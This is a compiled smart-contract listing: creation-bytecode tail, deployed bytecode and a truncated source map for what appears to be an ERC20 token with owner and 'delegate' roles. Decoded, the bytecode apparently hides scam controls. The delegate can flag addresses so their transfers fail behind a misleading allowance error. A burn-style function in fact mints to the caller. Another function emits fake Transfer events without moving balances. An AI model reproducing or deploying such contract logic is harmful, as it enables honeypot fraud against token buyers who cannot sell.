b5b600061187f8682870161176d565b93505060206118908682870161176d565b92505060406118a1868287016117a3565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126118d0576118cf6118ab565b5b8235905067ffffffffffffffff8111156118ed576118ec6118b0565b5b602083019150836020820283011115611909576119086118b5565b5b9250929050565b6000806000604084860312156119295761192861171a565b5b600084013567ffffffffffffffff8111156119475761194661171f565b5b611953868287016118ba565b93509350506020611966868287016117a3565b9150509250925092565b600060ff82169050919050565b61198681611970565b82525050565b60006020820190506119a1600083018461197d565b92915050565b6000602082840312156119bd576119bc61171a565b5b60006119cb848285016117a3565b91505092915050565b6119dd81611744565b82525050565b60006020820190506119f860008301846119d4565b92915050565b600060208284031215611a1457611a1361171a565b5b6000611a228482850161176d565b91505092915050565b611a34816117f8565b8114611a3f57600080fd5b50565b600081359050611a5181611a2b565b92915050565b600080600060408486031215611a7057611a6f61171a565b5b600084013567ffffffffffffffff811115611a8e57611a8d61171f565b5b611a9a868287016118ba565b93509350506020611aad86828701611a42565b9150509250925092565b60008060408385031215611ace57611acd61171a565b5b6000611adc8582860161176d565b9250506020611aed8582860161176d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b3e57607f821691505b602082108103611b5157611b50611af7565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611bb3602883611673565b9150611bbe82611b57565b604082019050919050565b60006020820190508181036000830152611be281611ba6565b9050919050565b7f44656c6567617465733a2063616c6c6572206973206e6f74207468652064656c60008201527f6567617465000000000000000000000000000000000000000000000000000000602082015250565b6000611c45602583611673565b9150611c5082611be9565b604082019050919050565b60006020820190508181036000830152611c7481611c38565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ce482611782565b9150611cef83611782565b9250828201905080821115611d0757611d06611caa565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d43602083611673565b9150611d4e82611d0d565b602082019050919050565b60006020820190508181036000830152611d7281611d36565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611dd5602583611673565b9150611de082611d79565b604082019050919050565b60006020820190508181036000830152611e0481611dc8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e67602483611673565b9150611e7282611e0b565b604082019050919050565b60006020820190508181036000830152611e9681611e5a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ef9602283611673565b9150611f0482611e9d565b604082019050919050565b60006020820190508181036000830152611f2881611eec565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f8b602583611673565b9150611f9682611f2f565b604082019050919050565b60006020820190508181036000830152611fba81611f7e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061201d602383611673565b915061202882611fc1565b604082019050919050565b6000602082019050818103600083015261204c81612010565b9050919050565b7f45524332303a207472616e7366657220616d6f7574206578636565647320616c60008201527f6c6f77616e636500000000000000000000000000000000000000000000000000602082015250565b60006120af602783611673565b91506120ba82612053565b604082019050919050565b600060208201905081810360008301526120de816120a2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612141602683611673565b915061214c826120e5565b604082019050919050565b6000602082019050818103600083015261217081612134565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006121d3602183611673565b91506121de82612177565b604082019050919050565b60006020820190508181036000830152612202816121c6565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612265602283611673565b915061227082612209565b604082019050919050565b6000602082019050818103600083015261229481612258565b905091905056fea2646970667358221220416edcc78569fbc5755634c5a65abc3c4a4c62dab547648a57ea67825fdfff5b64736f6c63430008160033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d71461031f578063a9059cbb1461034f578063c2b7bbb61461037f578063dd62ed3e1461039b578063ebff39c1146103cb5761012c565b806370a082311461028d578063715018a6146102bd57806373fa7ddb146102c75780638da5cb5b146102e357806395d89b41146103015761012c565b8063313ce567116100f4578063313ce567146101e9578063395093511461020757806342966c681461023757806349bd5a5e146102535780635c19a95c146102715761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d57806326ededb8146101cd575b600080fd5b6101396103fb565b60405161014691906116f8565b60405180910390f35b610169600480360381019061016491906117b8565b61048d565b6040516101769190611813565b60405180910390f35b6101876104ab565b604051610194919061183d565b60405180910390f35b6101b760048036038101906101b29190611858565b6104b5565b6040516101c49190611813565b60405180910390f35b6101e760048036038101906101e29190611910565b6105ad565b005b6101f1610713565b6040516101fe919061198c565b60405180910390f35b610221600480360381019061021c91906117b8565b61072a565b60405161022e9190611813565b60405180910390f35b610251600480360381019061024c91906119a7565b6107d6565b005b61025b610881565b60405161026891906119e3565b60405180910390f35b61028b600480360381019061028691906119fe565b6108a7565b005b6102a760048036038101906102a291906119fe565b6109c2565b6040516102b4919061183d565b60405180910390f35b6102c5610a0b565b005b6102e160048036038101906102dc9190611a57565b610a93565b005b6102eb610bc9565b6040516102f891906119e3565b60405180910390f35b610309610bf2565b60405161031691906116f8565b60405180910390f35b610339600480360381019061033491906117b8565b610c84565b6040516103469190611813565b60405180910390f35b610369600480360381019061036491906117b8565b610d6f565b6040516103769190611813565b60405180910390f35b610399600480360381019061039491906119fe565b610d8d565b005b6103b560048036038101906103b09190611ab7565b610e4d565b6040516103c2919061183d565b60405180910390f35b6103e560048036038101906103e091906119fe565b610ed4565b6040516103f29190611813565b60405180910390f35b60606006805461040a90611b26565b80601f016020809104026020016040519081016040528092919081815260200182805461043690611b26565b80156104835780601f1061045857610100808354040283529160200191610483565b820191906000526020600020905b81548152906001019060200180831161046657829003601f168201915b5050505050905090565b60006104a161049a610f2a565b8484610f32565b6001905092915050565b6000600554905090565b60006104c28484846110fb565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d610f2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058490611bc9565b60405180910390fd5b6105a185610599610f2a565b858403610f32565b60019150509392505050565b6105b5610f2a565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610644576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063b90611c5b565b60405180910390fd5b60005b8383905081101561070d5783838281811061066557610664611c7b565b5b905060200201602081019061067a91906119fe565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106f8919061183d565b60405180910390a38080600101915050610647565b50505050565b6000600860009054906101000a900460ff16905090565b60006107cc610737610f2a565b848460046000610745610f2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107c79190611cd9565b610f32565b6001905092915050565b6107de610f2a565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086490611c5b565b60405180910390fd5b61087e610878610f2a565b826113fd565b50565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108af610f2a565b73ffffffffffffffffffffffffffffffffffffffff166108cd610bc9565b73ffffffffffffffffffffffffffffffffffffffff1614610923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091a90611d59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097e57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a13610f2a565b73ffffffffffffffffffffffffffffffffffffffff16610a31610bc9565b73ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e90611d59565b60405180910390fd5b610a9160006115a4565b565b610a9b610f2a565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2190611c5b565b60405180910390fd5b60005b83839050811015610bc3578160036000868685818110610b5057610b4f611c7b565b5b9050602002016020810190610b6591906119fe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610b2d565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610c0190611b26565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2d90611b26565b8015610c7a5780601f10610c4f57610100808354040283529160200191610c7a565b820191906000526020600020905b815481529060010190602001808311610c5d57829003601f168201915b5050505050905090565b60008060046000610c93610f2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4790611deb565b60405180910390fd5b610d64610d5b610f2a565b85858403610f32565b600191505092915050565b6000610d83610d7c610f2a565b84846110fb565b6001905092915050565b610d95610f2a565b73ffffffffffffffffffffffffffffffffffffffff16610db3610bc9565b73ffffffffffffffffffffffffffffffffffffffff1614610e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0090611d59565b60405180910390fd5b80600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9890611e7d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611010576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100790611f0f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ee919061183d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361116a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116190611fa1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d090612033565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561126f576000811461126e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611265906120c5565b60405180910390fd5b5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed90612157565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461138b9190611cd9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113ef919061183d565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361146c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611463906121e9565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818111156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061227b565b60405180910390fd5b818101600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611597919061183d565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116a2578082015181840152602081019050611687565b60008484015250505050565b6000601f19601f8301169050919050565b60006116ca82611668565b6116d48185611673565b93506116e4818560208601611684565b6116ed816116ae565b840191505092915050565b6000602082019050818103600083015261171281846116bf565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061174f82611724565b9050919050565b61175f81611744565b811461176a57600080fd5b50565b60008135905061177c81611756565b92915050565b6000819050919050565b61179581611782565b81146117a057600080fd5b50565b6000813590506117b28161178c565b92915050565b600080604083850312156117cf576117ce61171a565b5b60006117dd8582860161176d565b92505060206117ee858286016117a3565b9150509250929050565b60008115159050919050565b61180d816117f8565b82525050565b60006020820190506118286000830184611804565b92915050565b61183781611782565b82525050565b6000602082019050611852600083018461182e565b92915050565b6000806000606084860312156118715761187061171a565b5b600061187f8682870161176d565b93505060206118908682870161176d565b92505060406118a1868287016117a3565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126118d0576118cf6118ab565b5b8235905067ffffffffffffffff8111156118ed576118ec6118b0565b5b602083019150836020820283011115611909576119086118b5565b5b9250929050565b6000806000604084860312156119295761192861171a565b5b600084013567ffffffffffffffff8111156119475761194661171f565b5b611953868287016118ba565b93509350506020611966868287016117a3565b9150509250925092565b600060ff82169050919050565b61198681611970565b82525050565b60006020820190506119a1600083018461197d565b92915050565b6000602082840312156119bd576119bc61171a565b5b60006119cb848285016117a3565b91505092915050565b6119dd81611744565b82525050565b60006020820190506119f860008301846119d4565b92915050565b600060208284031215611a1457611a1361171a565b5b6000611a228482850161176d565b91505092915050565b611a34816117f8565b8114611a3f57600080fd5b50565b600081359050611a5181611a2b565b92915050565b600080600060408486031215611a7057611a6f61171a565b5b600084013567ffffffffffffffff811115611a8e57611a8d61171f565b5b611a9a868287016118ba565b93509350506020611aad86828701611a42565b9150509250925092565b60008060408385031215611ace57611acd61171a565b5b6000611adc8582860161176d565b9250506020611aed8582860161176d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b3e57607f821691505b602082108103611b5157611b50611af7565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611bb3602883611673565b9150611bbe82611b57565b604082019050919050565b60006020820190508181036000830152611be281611ba6565b9050919050565b7f44656c6567617465733a2063616c6c6572206973206e6f74207468652064656c60008201527f6567617465000000000000000000000000000000000000000000000000000000602082015250565b6000611c45602583611673565b9150611c5082611be9565b604082019050919050565b60006020820190508181036000830152611c7481611c38565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ce482611782565b9150611cef83611782565b9250828201905080821115611d0757611d06611caa565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d43602083611673565b9150611d4e82611d0d565b602082019050919050565b60006020820190508181036000830152611d7281611d36565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611dd5602583611673565b9150611de082611d79565b604082019050919050565b60006020820190508181036000830152611e0481611dc8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e67602483611673565b9150611e7282611e0b565b604082019050919050565b60006020820190508181036000830152611e9681611e5a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ef9602283611673565b9150611f0482611e9d565b604082019050919050565b60006020820190508181036000830152611f2881611eec565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f8b602583611673565b9150611f9682611f2f565b604082019050919050565b60006020820190508181036000830152611fba81611f7e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061201d602383611673565b915061202882611fc1565b604082019050919050565b6000602082019050818103600083015261204c81612010565b9050919050565b7f45524332303a207472616e7366657220616d6f7574206578636565647320616c60008201527f6c6f77616e636500000000000000000000000000000000000000000000000000602082015250565b60006120af602783611673565b91506120ba82612053565b604082019050919050565b600060208201905081810360008301526120de816120a2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612141602683611673565b915061214c826120e5565b604082019050919050565b6000602082019050818103600083015261217081612134565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006121d3602183611673565b91506121de82612177565b604082019050919050565b60006020820190508181036000830152612202816121c6565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612265602283611673565b915061227082612209565b604082019050919050565b6000602082019050818103600083015261229481612258565b905091905056fea2646970667358221220416edcc78569fbc5755634c5a65abc3c4a4c62dab547648a57ea67825fdfff5b64736f6c63430008160033

Deployed Bytecode Sourcemap

85:252:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1552:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3874:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2279:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5201:432;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8984:226;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2114:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6002:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3424:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8949:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1311:138:4;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2450:127:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1792:103:4;;;:::i;:::-;;2592:208:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;715:87:4;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1763:104:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6680:387;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3141:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9218:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3592:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2811:133;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1552:100;1606:13;1639:5;1632:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1552:100;:::o;3874:169::-;3957:4;3974:39;3983:12;:10;:12::i;:::-;3997:7;4006:6;3974:8;:39::i;:::-;4031:4;4024:11;;3874:169;;;;:::o;2279:108::-;2340:7;2367:12;;2360:19;;2279:108;:::o;5201:432::-;5308:4;5325:36;5335:6;5343:9;5354:6;5325:9;:36::i;:::-;5372:24;5399:11;:19;5411:6;5399:19;;;;;;;;;;;;;;;:33;5419:12;:10;:12::i;:::-;5399:33;;;;;;;;;;;;;;;;5372:60;;5471:6;5451:16;:26;;5443:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;5545:57;5554:6;5562:12;:10;:12::i;:::-;5595:6;5576:16;:25;5545:8;:57::i;:::-;5621:4;5614:11;;;5201:432;;;;;:::o;8984:226::-;1175:12:4;:10;:12::i;:::-;1162:25;;:9;;;;;;;;;;;:25;;;1154:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;9084:9:1::1;9079:124;9103:10;;:17;;9099:1;:21;9079:124;;;9171:10;;9182:1;9171:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9147:44;;9156:13;;;;;;;;;;;9147:44;;;9186:4;9147:44;;;;;;:::i;:::-;;;;;;;;9122:3;;;;;;;9079:124;;;;8984:226:::0;;;:::o;2114:100::-;2172:5;2197:9;;;;;;;;;;;2190:16;;2114:100;:::o;6002:215::-;6090:4;6107:80;6116:12;:10;:12::i;:::-;6130:7;6176:10;6139:11;:25;6151:12;:10;:12::i;:::-;6139:25;;;;;;;;;;;;;;;:34;6165:7;6139:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;6107:8;:80::i;:::-;6205:4;6198:11;;6002:215;;;;:::o;3424:105::-;1175:12:4;:10;:12::i;:::-;1162:25;;:9;;;;;;;;;;;:25;;;1154:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;3494:27:1::1;3500:12;:10;:12::i;:::-;3514:6;3494:5;:27::i;:::-;3424:105:::0;:::o;8949:28::-;;;;;;;;;;;;;:::o;1311:138:4:-;946:12;:10;:12::i;:::-;935:23;;:7;:5;:7::i;:::-;:23;;;927:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1407:1:::1;1386:23;;:9;;;;;;;;;;;:23;;;1377:33;;;::::0;::::1;;1433:8;1421:9;;:20;;;;;;;;;;;;;;;;;;1311:138:::0;:::o;2450:127:1:-;2524:7;2551:9;:18;2561:7;2551:18;;;;;;;;;;;;;;;;2544:25;;2450:127;;;:::o;1792:103:4:-;946:12;:10;:12::i;:::-;935:23;;:7;:5;:7::i;:::-;:23;;;927:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1857:30:::1;1884:1;1857:18;:30::i;:::-;1792:103::o:0;2592:208:1:-;1175:12:4;:10;:12::i;:::-;1162:25;;:9;;;;;;;;;;;:25;;;1154:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;2684:9:1::1;2679:114;2703:7;;:14;;2699:1;:18;2679:114;;;2778:3;2739:24;:36;2764:7;;2772:1;2764:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;2739:36;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;2719:3;;;;;;;2679:114;;;;2592:208:::0;;;:::o;715:87:4:-;761:7;788:6;;;;;;;;;;;781:13;;715:87;:::o;1763:104:1:-;1819:13;1852:7;1845:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1763:104;:::o;6680:387::-;6773:4;6790:24;6817:11;:25;6829:12;:10;:12::i;:::-;6817:25;;;;;;;;;;;;;;;:34;6843:7;6817:34;;;;;;;;;;;;;;;;6790:61;;6890:15;6870:16;:35;;6862:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;6969:67;6978:12;:10;:12::i;:::-;6992:7;7020:15;7001:16;:34;6969:8;:67::i;:::-;7055:4;7048:11;;;6680:387;;;;:::o;3141:175::-;3227:4;3244:42;3254:12;:10;:12::i;:::-;3268:9;3279:6;3244:9;:42::i;:::-;3304:4;3297:11;;3141:175;;;;:::o;9218:97::-;946:12:4;:10;:12::i;:::-;935:23;;:7;:5;:7::i;:::-;:23;;;927:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9294:5:1::1;9278:13;;:21;;;;;;;;;;;;;;;;;;9218:97:::0;:::o;3592:151::-;3681:7;3708:11;:18;3720:5;3708:18;;;;;;;;;;;;;;;:27;3727:7;3708:27;;;;;;;;;;;;;;;;3701:34;;3592:151;;;;:::o;2811:133::-;2879:4;2903:24;:33;2928:7;2903:33;;;;;;;;;;;;;;;;;;;;;;;;;2896:40;;2811:133;;;:::o;515:98:0:-;568:7;595:10;588:17;;515:98;:::o;8597:344:1:-;8716:1;8699:19;;:5;:19;;;8691:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8797:1;8778:21;;:7;:21;;;8770:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8879:6;8849:11;:18;8861:5;8849:18;;;;;;;;;;;;;;;:27;8868:7;8849:27;;;;;;;;;;;;;;;:36;;;;8917:7;8901:32;;8910:5;8901:32;;;8926:6;8901:32;;;;;;:::i;:::-;;;;;;;;8597:344;;;:::o;7525:676::-;7649:1;7631:20;;:6;:20;;;7623:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;7733:1;7712:23;;:9;:23;;;7704:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;7791:24;:32;7816:6;7791:32;;;;;;;;;;;;;;;;;;;;;;;;;7777:122;;;7854:1;7844:6;:11;7825:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;7777:122;7910:21;7934:9;:17;7944:6;7934:17;;;;;;;;;;;;;;;;7910:41;;7987:6;7970:13;:23;;7962:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;8094:6;8078:13;:22;8058:9;:17;8068:6;8058:17;;;;;;;;;;;;;;;:42;;;;8136:6;8112:9;:20;8122:9;8112:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;8175:9;8158:35;;8167:6;8158:35;;;8186:6;8158:35;;;;;;:::i;:::-;;;;;;;;7612:589;7525:676;;;:::o;4344:407::-;4447:1;4428:21;;:7;:21;;;4420:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4498:22;4523:9;:18;4533:7;4523:18;;;;;;;;;;;;;;;;4498:43;;4578:6;4560:14;:24;;4552:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;4683:6;4666:14;:23;4645:9;:18;4655:7;4645:18;;;;;;;;;;;;;;;:44;;;;4732:1;4706:37;;4715:7;4706:37;;;4736:6;4706:37;;;;;;:::i;:::-;;;;;;;;4409:342;4344:407;;:::o;2055:191:4:-;2129:16;2148:6;;;;;;;;;;;2129:25;;2174:8;2165:6;;:17;;;;;;;;;;;;;;;;;;2229:8;2198:40;;2219:8;2198:40;;;;;;;;;;;;2118:128;2055:191;:::o;7:99:5:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;28